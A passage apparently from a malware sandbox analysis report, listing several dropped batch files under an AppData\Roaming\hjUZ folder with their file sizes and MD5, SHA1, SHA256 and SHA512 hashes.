f28efdb07b1a7140829bc1c7c761f8b918ac9f023d33f7495964261957615cc4

SHA512
633e0a32dfead958df129633675a3fbc7530dac7e3fa2162e84384b3fb4d82101b388eb4a09e0f511fc4be0c9a93c118a8d0bbb7a20de35411806448857f79be

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\5409.bat

Filesize
103B

MD5
f3f9eafd2fb22895b128336b8a18c799

SHA1
f1c22c30e023dc9ab482cfa6687884b1ce3c48c2

SHA256
d3d38d901ae86ee920b3d041b144992ef51ee621426c6b3352caac3715d2bb25

SHA512
0162b9f9f9a3ce7faad67de47018c9af32a62ba7aba0fbbfca4035b5eccde398dd10ddb30410f5b3ab45bd0f7108248bde5d59fcdef7a0ad3818b9fed68fac06

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\5674.bat

Filesize
100B

MD5
b05610ec6d2fd64a007c14f7b198a480

SHA1
b9f324425ebecd3c66ca6a6e95eb15a3bd42bbdc

SHA256
f4ae8c05cc094d1cbfe8e216c1d953b426d797af2b1107326ab4e1b6c6768c86

SHA512
2ffe0418696b0fa40e45a44913b2acca35357f939c151fe60b6a15c6fc19ecd9f7a957fdb02c72a6079607aa82b80953f6dc444cf6c6d6b88d1bfafc15fc1aa0

Download Submit
C:\Users\Admin\AppData\Roaming\hjUZ\7884.bat

Filesize
100B

MD5
0ace6c5622a1b5a058fbfb561d009cd6

SHA1
10e7a6298ceecd3db73cf887b5a68aa862cfbd5b

SHA256
d541cc65b1046e602e9dd431d011f127a3c7ae4678da9f7bb5f394b40aa5b5ca

SHA512
2e28ec338703ce9ed60754528326cf7b24fe3357a8a4b06a7faced37da08e089e342905b4d2482386c24b260ca95e486b15549b0a8813beb88b3f2a72443b220

Download Submit